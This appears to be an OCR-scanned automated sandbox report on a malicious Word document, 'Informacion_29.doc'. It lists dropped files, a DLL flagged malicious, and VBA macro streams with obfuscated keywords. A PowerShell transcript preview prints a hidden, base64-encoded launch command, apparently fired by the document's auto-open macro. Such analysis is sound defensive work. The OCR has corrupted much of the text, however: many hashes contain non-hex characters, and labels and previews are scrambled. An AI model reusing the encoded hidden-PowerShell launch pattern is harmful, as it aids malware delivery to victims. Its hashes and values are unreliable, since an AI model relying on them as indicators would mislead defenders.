C:\Users\luser\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

data

dropped

64

0.9260988789684415

false

3:Nlllulb/l:NIIUb/

13AF6BE1CB30E2FB779EA728EE0A6D67
F33581AC2C60B1F02C978D14DC220DCE57CC9562
168561FB18FBEBAB043FAIFC4B8A95B628F2CF5584E5A3BI6CIOEBAF6DD740E3F

1159E1087BC7F7CBB233540B61F1BDECB161FF6C65AD1EFC9911E87B8E4B2ESF8C2AF56D67B33BC1F6836106D3FEA8C750CC24B9F451ACF85661E0715B8294!
3

false

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avja2edr.udc.psl

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBODFE84C58B2B37B89903A740ELEEL172DA793A6E79D560E5F7FIBD058A12A280433ED6FA4651(
A

false

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qa55wgul.34a.psm1l

Process:

File Type:

Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)
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C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_qa55wgul.34a.psm1l

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6BB04EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651(
A

false

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Microsoft Office\Office 16\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:41 2020, mtime=Thu Jan 7 18:52:50 2021,
atime=Thu Jan 7 18:52:48 2021, length=166400, window=hide

dropped

2150

4.733644204506573

false

24:8pYhOGgOgACu3ADPag7aB6mypYhOGgOgACu3ADPag7aBém:8eg4CqoaFB6peg4CgoaFB6

67FA568120531BD65CB02C1EB2A9265E

EB7B3B4531D25D2E8B61447426888248AE721C8F

D66FA93FC71AA63B40C8AFA340F8F97CBFE3EC8BC2FC3254969D5D9A80B29182
090AE02C9E70B5698B7A6FDBIEOC7BEAE3FE43C018A33EA013476880EF79D817FB5BESASD5CEC988FDICC4275A5C655200772D8098548156EC373COE3001C6¢

P.O. .i....+00.../C:\.
.8.1.3.....P.1....>Qvx..user.<.....Ny.R. ...2d.hardz..~
2.1.7.6.9....r.2...R.. INFORM~1.DOC..V.....>Qux'R.....h....................i*lnfoorm.a.cio.n._.2.9..d.o.C...... Xeoores W >.S......C:\Users\user\Desktop\Info
rmacion_29.doc..).....\. \....\.D.e.s.k.t.o.p.\.l.Ln.f.o.rm.a.ci.o.n._.2.9...d.o.c. LB.)..As...". la..%.H.VZA).. a..%.H.VZA]...f..-..
....... - ISPS.XF.LBC....& M Q............[...8.-.1.-5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.

........... x.1.....N...Users.d
>Qwx..Desktop.h....... Ny.'R

gl..Us.ers.@.s.hell3.2.dll,.-21
hL.D.e.s.k.t.o.p...@.s.h.e.l..3.2...d.LI.,.-.

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Microsoft Office\Office 16\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

92

4.366272344456327

false
3:M13YMVXc1KGCOLDKXYMvXc1KGCmX13YMvXc1KGCV:MIRXXGZWXRXXGXRXXGS
170276DF35DEDBD3C3B4B66995E1FDCD
ACFDC32F5201493C39C246BCD50D51BAC450C1F1
98F6BAA929518E1CAFB49310F86DA322D7D89DBF19FABACDF1A4A777B6EB6D6S

94C6BA6FF3DCDFC1EABDC2E008841DA56B2FC18C2B2DF6794EAALESDD34B1991683BECOB7A85728FCA88DCF08191CEFEF3E213536B272D2A9C0F5A8243464
D50

false

[doc]..Informacion_29.doc.LNK=0..Informacion_29.doc.LNK=0..[doc]..Informacion_29.doc.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files (x86)\Microsoft Office\Office 16\WINWORD.EXE

data

dropped

162

2.2412758570609554

false

3:RI/ZdOINFU3vtID3xWilFtl/3k0op/IIf:RtZw+FUrh9U0oRH
AB3CB46088FF7ACEC3F4C3177F9D27D7
7E337C90377A89B637BA638F2E2A2A5497BF318B
3EA4A3241627AFCC679539AB95328ECD3C3E9E1AS5F2B5B558B0A417780D8D53C

9B9C46CBADD7CEOE126389FCD7ED9AB2FF21C3BE82F225D155500640D8E3E2EFOD8DA24AAF7652872D70E884EDA82ES5AF0C9069E63A3302C231F7B9BF834L
14

false
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C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Preview:
Pratesh. ... p.rates.h...... 9.Ceiiiie e B LS TR H...

C:\Users\user\Desktop\~$formacion_29.doc

Process: C:\Program Files (x86)\Microsoft Office\Office 16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.2412758570609554

Encrypted: false

SSDEEP: 3:RI/ZdOIIFU3vtID3xWilFtl/3k0op/IIf:RtZw+FUrh9UOoRH

MD5: AB3CB46088FF7ACEC3F4C3177F9D27D7

SHAL: 7E337C90377A89B637BA638F2E2A2A5497BF318B

SHA-256: 3EA4A3241627AFCC679539AB95328ECD3C3E9E1AS5F2B5B558B0A417780D8D53C

SHA-512: 9B9C46CBADD7CEOE126389FCD7EDYAB2FF21C3BE82F225D155500640D8E3E2EFOD8DA24AAF7652872D70E884EDA8B2E55AF0CI069E63A3302C231F7BIBF834L
14

Malicious: false

Preview:
Pratesh. ... p.rates.h...... 9.Ceiiiie e B LS TR H...

C:\Users\user\Documents\20210107\PowerShell_transcript.494126.5cvYSIfl.20210107115253.txt

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 8265

Entropy (8bit): 5.229712275025735

Encrypted: false

SSDEEP: 192:Rk+IPOgbpUT/I4paWSius89ew9XxOL9vINCKkzdIEp:+WP0Ogbp6/mEieegxacWzdN

MDS5: 79806776543257E74C90AA9ADEOEEF3C

SHAL: 2872FA12BF412805CF1A29C2C43F01C727D79F25

SHA-256: 9C7341E7DF5FC8BD6A7A55AD5A0D31B699348605D0C714852A9C8AAC5B33572D

SHA-512: 9769A267D11D2DC47ECAL17A26E2DBAD2AFD317B520967B1F531EEB8FB417FF01195E66E1C717BCDB423E8FDB16C4F0E43BC29235DDC93993CA4044AA6BB50:
6B

Malicious: false

Preview:

Jerkidddeask | \Windows PowerShell transcript start..Start time: 20210107115254..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 494126 (Microsoft Windows NT 10.0.17134.0)..Host Application: POwersheLL -w hidden -ENCOD IAAGACQAVQA2ADMANQAXADOAWWBUAFKACABFA
FOAKAAIAHSAMgB9AHSAMABIAHSAMQB9AHSANABIAHSAMWBIAHSANQBIACIAIAAIAEY AIAANAHKAUWBUAEUADQAUAGKAIWASACCATWAUAGQAaQA
NACWAIWBZACCALAANAEUAYWBUAEBAIWASACCAUgANACWAIWBSAFKAIWAPACAAIAATACQATWBMAFYAIAASACAAWWBOAFKACABIAFOAKAAIAHSAM
AB9AHSANWBIAHSAMQBIAHSAOABIAHSAMWBIAHSANGBIAHSANQBIAHSAMYBIAHSANABIACIAIAALAEY AIWBZAFKAIWASACCAVABFAGOALGBOAEU
AIWASACCAbgBOAGOAQQBOACCALAANAHYAIWASACCAQQBHAGUAUgANACWAIWBIACCALAANAGKAQWBIAFAATWANACWAIWBZACCALAANAFQALYBZA
GUAUgANACKAIAAgADSAIAAGACQARQBYAHIAbWBYAEEAYWBOAGKAbWBUAFAACYBIAGYAZQBYAGUAbgBJAGUAIAA9ACAAKAANAFMAaQANACSAKAA
NAGWAZQANACsAIJWBUACCAKQArACCAdAANACSAKAANAGWAEQANACSAIWBDACCAKQArACgAIWBVAGAAdABPACCAKWANAGAAIWArACCAdQBIACCAK
QApPADSAJABZAHQAZABTAHA

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 433664

Entropy (8bit): 7.13682141586971

Encrypted: false

SSDEEP: 12288:snzOTW1lglhxgsjtuEiJ+FOkuwL/1ZBuK2VDcUX3XSPI9m:eEW1SEIUFZwLdZgDcUXSA

MDS5: 1A9589BCE302F8BIF62ACCB6B6546FAS

SHAL: 56038936029509D40B74BE394D604DF14460D0C9

SHA-256: 3E84B6EODECEEA49E1546CB3681C0B484F9FDD480EA3C399148E42608DA04BOF

SHA-512: AD19325CC1E83FCCO0D672664B09E2C2791E29031DEC6F7DC94DA9FCEC5CF23C146D93E2284622BFAAAG60F9483FD2EC5DA0597A88847DF2C75BDB523EEB29F
A9

Malicious: true

Antivirus: e Antivirus: Metadefender, Detection: 64%, Browse

e Antivirus: ReversingLabs, Detection: 61%

Preview:

............................................... 1..L.IThis program cannot be run in DOS mode....$........B.....cccccoicee T MMM 9

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Process: C:\Windows\System32\svchost.exe
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https://www.metadefender.com/#!/results/file/bzIxMDEwNnVqV3phSGVENWUwV0Nmc2xvRWhz/regular/analysis

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

ASCII text, with no line terminators

dropped

55

4.306461250274409

false

3:YDQRWuU83XfAW2fHbY:YMRI83Xt2f7Y
DCA83F08D448911A14C22EBCACC5AD57
91270525521B7FEOD986DB19747F47D34B6318AD

2B4B2D4A06044AD0OBD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9

96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE6G6254EFD701E8FDIEOD867A2C8ABEBA4C482738291B715D4965A0D2412663FDF1EE6CBCOBA9FBA

A

false

{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Program Files\Windows Defender\MpCmdRun.exe
data

modified

906

3.155577999542838

false

12:58KRBubdpkoF1AG3rBfu7k9+MIWILehB4yAq7ejClfuW:0aqdmuF3rD+kWReH4yJ7MB

1EE718B9AD35072A67E7B32E7A7483CE
8F3879A77B829610B45A565E790D784E58B33655

880CBC10588F034748753F494A3241CD4A3F7AF8DAD60E010543F66F49418C22

4C68EFFD38E7021ADAEB477ESDEQ761AABF50C1373A254C4D728D9F8BAF5974B0C3716F27B646D9D0OED26CE321F65D3D19752C3476DECBC3A159074F4E5DBY

5

false

".C..\.P.ro.g.r.am. .F.iles\W..nd.ow.s. .D.efe.nd.er\mp.cm.d.ru.n..e.x.e.

............................................................ M.p.C.m.d.R.u.n.;. .C.o.m.m.a.n.d. .L.i.n.e... .
..-wd.enable.. Start .Time.: .. Thu .Jan .07..20.21 .11.:54.:3.

O M.p.E.n.s.u.r.e.P.ro.c.e.s.s.M.itig.atio.n.P.o.licy.. .hr = .0x1..W.D.Enab.le...ERR.O.R.: .MpW.D.Enable(T.RU.E.). faile.d. .(8.0.0.7.0.

Static File Info

General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

Copyright null 2021

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
Industrial, Tools & Health Cliffs Unbranded Soft Tuna In
dustrial optimal Expanded Cambridgeshire 1080p SMS
Money Market Account synthesizing core, Author: M
ohamed Gaillard, Template: Normal.dotm, Last Saved
By: Louise Fleury, Revision Number: 1, Name of Cr
eating Application: Microsoft Office Word, Create
Time/Date: Tue Dec 29 06:14:00 2020, Last Saved Ti
me/Date: Tue Dec 29 06:15:00 2020, Number of Pages:
1, Number of Words: 2867, Number of Characters:
16346, Security: 8

6.654073649441584

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

Informacion_29.doc

165023

6clcb4cO6ead6f5ce29a931fal2410fa
4ac228fa54e73993dccch69389a97cfcf67228b5

43dab9a4e7aaa8a0d894f6e64d73bb829dd8c40ff816123
3fb6e0886b14819c3

f71192ea05b085bf7dcO0add6340bee96eb5885cf1720d15
b772e7b60b02f55f4004969fbff42cb2804f9c31435a1015
a31ed77d4205be3535e7095e980f2142¢

3072:LHxUDct5DEjo3tbmGBBqLrcBjVJymH4o09ufstRU
UKSns8T00JSHUgteMJ8qMD7gb:LHxUDct5DEjo3tbm
GBBqLrcBjVJymH4r
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General

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Informacion_29.doc"

Indicators
Has Summary Info:
Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:

Contains Visio Document Stream:

Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Title:
Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Jwq9b1lbOhmm7, Stream Size: 14416

Copyright null 2021

74fAc4c6elcacdd8

OLE

True
Microsoft Office Word
False
True
False
False

False

True

1252

Industrial, Tools & Health Cliffs Unbranded Soft Tuna Industrial optimal Expanded Cambridg

eshire 1080p SMS Money Market Account synthesizing core

Mohamed Gaillard

Normal.dotm

Louise Fleury

1

0

2020-12-29 06:14:00
2020-12-29 06:15:00
1

2867

16346

Microsoft Office Word
8

1252
136
38

False

False
False
False

786432
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General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

MoyUg

#BrygCBI

HQLYP()

gNNhpjuzF:

YWWmAGeG:

WkbcFJEAD()

Gyyaa()

Access

#pIXFAL

Len(mKbjhgs))

dNGEjAD

#rxYZps,

gJLEFBFsL()

AeWeHOJCg

tKzwqzI()

Resume
"O:\afdxHDJBG\OOakBB\YSVJIm.JNPGbhSG"
tKzwqzl!

#MoyUg

SkwVG
"F:\UeqgCwFC\RxVLIOJ\RLItYG.ddhvuGkBf"
RimyuHaBD:

#DfnXDeC,

DfnXDeC

GbSOBaBqc:

UfOeJ

wcDKJI
"F:\WnCoG\HBbVaCA\fukyDw.vGJESBX"
#BleAA,
"O:\MRWMgFJ\zsKkRHI\OiSxC.XZZmtH"
VORRAG()

kBZBQ()

#DfnXDeC

"O\ZrqrOBE\FXQPgFGG\sXMNHEFDC. KjybCdXDB"

ktdgD

ktdgD()

#dNGEJAD,

#MoyUg,
"O:\NSagADG\xcZtIIA\QXNWGFN.KtgHGEA"
fMGbFJIDRE

JeDBhB()

FreeFile

DnGiABxzG()

Gyyqq

LOF(intGend)

#fFPBD],

XNcuAGoGD:
"O:\rrOzBX\VKCgAGJIU\YNZII.ZUSFWsZF"
LITXEDEBE

#SFVWIKHM

Copyright null 2021

Macros/VBA/Jwq9b1lbOhmm7
Jwg9b1lbOhmm?7
14416

01 16 01 00 00 fO 00 00 00 fc Oa 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 03 Ob 00 00 9f 29 00
00 00 00 00 00 01 00 00 00 06 12 1b 22 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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Keyword

JeDBhB

BleAA

ZWAFIID

#BrygCBI,
"FA\mWSwWpXAKG\PTfrgAdE\ddNtJFJ.OGZBENFW"
"O:\xaLnPmJ\onZFIHPHD\pjbxIFFyV.svJWEETFm"
#VjURJ
"O:\GyBLIwJ\JyRgQhPrC\cnPdi.CmtbG"
"F\AKQUADX\HTVZJING\ezFFDE.dCWKQ"
#JVWWTCss

ykcixJTsM:

"O:\gklyMYNC\KLX\wrvzJw.AsslJ"

ZCRUUEr

#aPI1AJ

pIXfAL
"F:\ldwCD\hmrPgFD\cRBUGEN.vHNcDFc"
snahbsd

NFVBCEf
"0:\jobmCCM\LsFeNKGF\DLsTwJcGF.EAyuxB"
ReDim
"O:\YNLYhp\IEWOXUB\zsUqqD.dEGfRCFGF"
IkVoRJ

BrygCBI

#efPVC
"O:\wYEmvKo\npTgDE\QjFhGJ.dWmjGFD"
AUrNIZEG()

#fFPBD]j

RimyuHaBD

#UfOeJ,

WppWDKHVA
"F:\ySkIB\qgKFmg\KrORs.CZcSEH"
"F:\ttHCHFDZ\VMPdJC\ZVyvz.VjTkH"
qKxQJQE

#pIXFAL,

kBZBQ
"O:\GVNBCFD\RBPGB\hCZaAY .vogXFB"
#pGKDUEB,

fMGbFJIDRE:

qKXQJQE:
"F:\WWNSIF\NalQICj\SnhzIBQCA.WlbcmBJ"
DnGiABxzG

VORRAG
"O:\blYmeeW\uNvuErAyD\EIuXFu.FZTwFCBPD"
"F:\TtMDAecA\xaSGJlyy\NmQTHB.LFYtzzGH"
hSQRFSr

Binary

XNcuAGoGD

COxEbv

wcDKJI:
"O:\BNSoFH\dvEzG\mUAIwC.yubtGH"
"F:\EiaVDDCIE\RgrHGIHJ\YsPmFt.nHOaP"
"F:\kFayEHAHH\ddVLIEC\CfRXAE.EiLcdX"
efPVC

#ksQLDZi,

IOETktD:

pGKDuUEB
"F:\SHBdul\KjeOHB\KwnyCEHCA.QsWhbrdJu"
#JVWTCss,

Integer

NFVBCEf()

#WppWDKHVA,

JJHG:
"F:\LFwuAJBD\MeKNHEh\XqeRErUC.bMHKAFLIh"
SKWVG()
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Keyword

RzwvkEXxUI()

VjURJ

GbhSOBaBqc

cgFzgqJS

Error

#VjURJ,

aPIAJ

LITXEDEBE()

#BleAA

YWWmAGeG

gNNhpjuzF

RzwvkEXUI
"F:\CmMyA\WngICJj\RxyolAgJ.nRDeH"
ZCRUUET:

Attribute

ykcixJTsM

#WppWDKHVA

AeWeHOJCg:

Mid(mKbjhgs,

hSQRFSr:

IOETktD

#lkVoRJ

#rxYZps

Close
"O:\WQqDe\KszDkOWIC\ttjarADJ.HMKSFGCfE"
XYZps

nOveD

nOveD()
"F:\ifmsCJILQ\OVuohC\igVBCCBoF.pAzGmA"
VB_Name

fFPBD]j

uUxhxDE:
"F\DMRGVDLCX\DXrWE\kOeDmD.yjIGHMCI"
cgFzgJs:

JJHG

sYcQrq()

Function

#SFVWIKHmM,

#UfOeJ

#pGKDUEB

#dINGEJAD

COXEbv()

VSbuE;j:

#ksQLDZi

sYcQrq

HQLYP

ksQLDZi

#lkVoRJ,

JVWTCss
"F\WVUZGJAu\ksDKBbCz\XkJIEj.CrnAcG"
#efPVC,

ZWAFIID:

gJLEFBFsL

"O:\BccaMZ\ TKNfIWH\WtXBIKAZ.sSCvDComF"
WkbcFIEAD

mKbjhgs

VSbuEj

AUrNIZEG
"F:\VqVSEFdE\MWGOECeCF\Pfclal.OeGfCLIU"
uUxhxDE
"O:\hLrrUIYmJ\REMOCDBJE\WEMaHYGD.fCCwYV"
"O:\zwfmA\FZQAOA\MnHVGI.RIeDAST"
#aPIAJ,

tSFVWJIKHmM
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VBA Code

VBA File Name: Ouz_y28f7ehnqn, Stream Size: 1113

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: Z5ncc5dwidbkjld, Stream Size: 702

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 121

General
Stream Path:

Copyright null 2021

Macros/VBA/Ouz_y28f7ehngn
Ouz_y28f7ehngn
1113

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff e5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 06 12 10 98 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

Macros/VBA/Z5ncc5dwidbkijld
Z5ncc5dwidbkjld
702

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 06 12 4d 00 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

\x1CompObj
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General

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

data
121
4.36374049783

True

cument..... MSWordDoc..... Word.Document.8..9.q............

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 27 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44
6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e
44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \xX5Summarylnformation, File Type: data, Stream Size: 576

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6493

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Data, File Type: data, Stream Size: 99185

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:

Copyright null 2021

\x5DocumentSummarylnformation
data

4096

0.24979504615

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c¢ f9 ae 30 00 00 00 e8 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5SummaryInformation
data

576

4.29333303912

True

.................. Normal.dotm.

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 10 02 00 00 11 00 00 00 01 00 00 00 90
00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 74 01 00 00 04 00 00 00 58 01 00 00 05 00 00
00 a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09
00 00 00 d0 00 00 00

1Table

data

6493
6.028999636

True

.6...6...6...>...6...6...6...6...6...6...6...6..
.6...6...6...6...6...6...6...6...6...6...

66 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 00 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Data

data

99185
7.38960224856

True
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General
Data ASCII:

Data Raw:

q D.d.....oooiiiiii JF j
..................... F o A
P.i.c.tu.r.e. 1. R......... W e..+."a.l....ooL D
....... F......IW....e..+."a.l.......

7183 010044 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 4a 46
ef 1f 08 02 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 83 00 Ob f0 46 00 00 00 bf 00 04 00 04 00 04 41 01 00 00 00 05 c1 02 00 00 00 3f 01 00 00
06 00 bf 01 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 517

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 137

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 3895

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/PROJECT

ASCII text, with CRLF line terminators
517

5.55798386141

True

ID="{B401AADA-A5D9-4A5B-B2CF-68161ED35FFD}"..Docum
ent=Ouz_y28f7ehngn/&H00000000..Module=Z5ncc5dwidbkjl
d..Module=Jwqg9bllbOhmm7..ExeName32="S0zxnancztd"..Na
me="mw"..HelpContextID="0"..VersionCompatible32="39322
2000"..CMG="AEACB83E18321BF25BF25BF25BF25"..DPB="

4944 3d 22 7b 42 3430 31 41 41 44 41 2d 41 35 44 39 2d 34 41 35 42 2d 42 32 43 46 2d 36
38 31 36 31 45 44 33 35 46 46 44 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 4f 75 7a 5f 79 32 38
66 37 65 68 6e 71 6e 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 5a 35 6e
63 63 35 64 77 69 64 62 6b 6a 6¢ 64 0d Oa 4d 6f 64 75 6¢ 65 3d 4a 77 71 39 62 31 6¢ 62 30
68 6d 6d 37 0d Oa 45

Macros/PROJECTwm
data

137

3.82716267344

False

.7.e.h.n.g.n...Z5ncc5dwidb

OQuz_y28f7ehngn.O.u.z._.y.2.8.f
l.d...Jwg9b1IbOhmm7.J.w.q.9.b

kjld.z.5.n.c.c.5.d.w.i.d.b.k.j.
1..b.0O.h.m.m.7.....

4f 75 7a 5f 79 32 38 66 37 65 68 6e 71 6e 00 4f 00 75 00 7a 00 5f 00 79 00 32 00 38 00 66 00
37 00 65 00 68 00 6e 00 71 00 6e 00 00 00 5a 35 6e 63 63 35 64 77 69 64 62 6b 6a 6¢ 64 00

5a 00 35 00 6e 00 63 00 63 00 35 00 64 00 77 00 69 00 64 00 62 00 6b 00 6a 00 6¢ 00 64 00

0000 4a 77 71 39 62 31 6¢ 62 30 68 6d 6d 37 00 4a 00 77 00 71 00 39 00 62 00 31 00 6¢ 00

